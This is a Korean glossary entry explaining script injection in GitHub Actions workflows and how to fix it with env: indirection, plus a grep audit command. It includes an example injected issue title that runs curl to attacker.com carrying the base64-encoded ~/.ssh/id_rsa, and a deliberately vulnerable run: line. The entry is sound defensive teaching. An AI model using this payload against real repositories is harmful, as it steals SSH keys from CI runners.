CI/CD 용어 사전
GitHub Actionsscript injection

스크립트 인젝션

PR 제목·브랜치명은 공격자가 정하는 문자열이다. 셸에 그대로 보간하면 임의 명령이 실행된다.

워크플로에서 가장 흔한 보안 실수.

- run: echo "제목: ${{ github.event.issue.title }}"     # ✗ 위험

${{ }}셸이 보기 전에 문자열로 치환된다. 즉 제목이 명령의 일부가 되어 그대로 실행된다.

제목: "; curl attacker.com/$(cat ~/.ssh/id_rsa | base64); #

치환 결과:
echo "제목: "; curl attacker.com/$(cat ~/.ssh/id_rsa | base64); #"
       ↑ 여기서 문자열이 닫히고 ↑ 새 명령이 시작된다

SQL 인젝션과 정확히 같은 구조다 — 데이터와 코드를 문자열 연결로 섞었고, 데이터가 코드로 해석됐다.

어떤 값이 위험한가

공격자가 내용을 정할 수 있는 모든 것이다.

  • PR·이슈 제목과 본문
  • 브랜치 이름 (github.head_ref)
  • 커밋 메시지, 리뷰 코멘트
  • 작성자 표시 이름

반면 github.sha, github.run_id 처럼 GitHub 이 정하는 값은 안전하다. 기준은 "사람이 자유롭게 쓸 수 있는가" 다.

고치는 법

- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "제목: $TITLE"      # ✓ 셸이 문자열로 다룬다

환경 변수로 한 번 받으면 값이 셸의 명령 문법을 거치지 않는다. 준비된 구문(prepared statement)이 SQL 인젝션을 막는 것과 같은 원리다 — 데이터를 데이터 자리에 넣는다.

$TITLE 을 쓸 때 따옴표로 감싸는 것도 잊지 않는다. 안 감싸면 공백에서 단어가 쪼개진다.

중간 파일을 거쳐도 마찬가지다

- run: echo "title=${{ github.event.issue.title }}" >> $GITHUB_OUTPUT   # ✗

출력 파일에 쓸 때도 값이 그대로 들어간다. 제목에 줄바꿈과 key=value 를 넣으면 다른 출력 변수를 만들어 낼 수 있다. 다음 스텝이 그것을 신뢰해 쓰면 흐름이 통째로 조작된다.

같은 이유로 $GITHUB_ENV 에 쓰는 것도 위험하다. PATHLD_PRELOAD 같은 변수를 심으면 이후 모든 스텝의 실행이 바뀐다. GitHub 이 여러 줄 값에 구분자(delimiter)를 요구하는 것이 이 때문이다.

어디를 훑어봐야 하나

grep -rnE '\$\{\{ *github\.(event|head_ref)' .github/workflows/

github.event.*github.head_refrun: 안에 직접 들어간 곳이 후보다. 찾으면 전부 env: 경유로 바꾼다.

왜 검증이 아니라 분리인가

"위험한 문자를 걸러 내면 되지 않나" 라는 접근은 계속 실패해 왔다. 셸의 메타 문자는 종류가 많고 인코딩·중첩 조합이 무한하기 때문이다. 거르는 쪽은 모든 경우를 알아야 하고 공격자는 하나만 찾으면 된다 — 애초에 불리한 싸움이다.

값을 코드가 아닌 자리에 두면 그 싸움 자체가 없어진다.

액션 인자로 넘길 때도 같다

with: 로 넘긴 값을 액션이 내부에서 셸에 넣는다면 같은 문제가 생긴다. 경계를 넘을 때마다 그 값이 코드로 해석될 여지가 있는지 봐야 한다.

면접 함정

  • "내부 저장소라 안전" → 브랜치 이름 하나로 트리거된다. 실수로도 발생한다.
  • "따옴표로 감싸면 된다" → 치환이 따옴표 안에서 일어나므로 값이 따옴표를 닫을 수 있다.
  • "입력을 검증하면 된다" → 차단 목록은 언제나 뚫린다. 데이터를 데이터 자리에 두는 것이 해법이다.

함께 보면 좋은 용어

노트에서 맥락과 함께 보기 — GitHub Actions — 문법과 실행 모델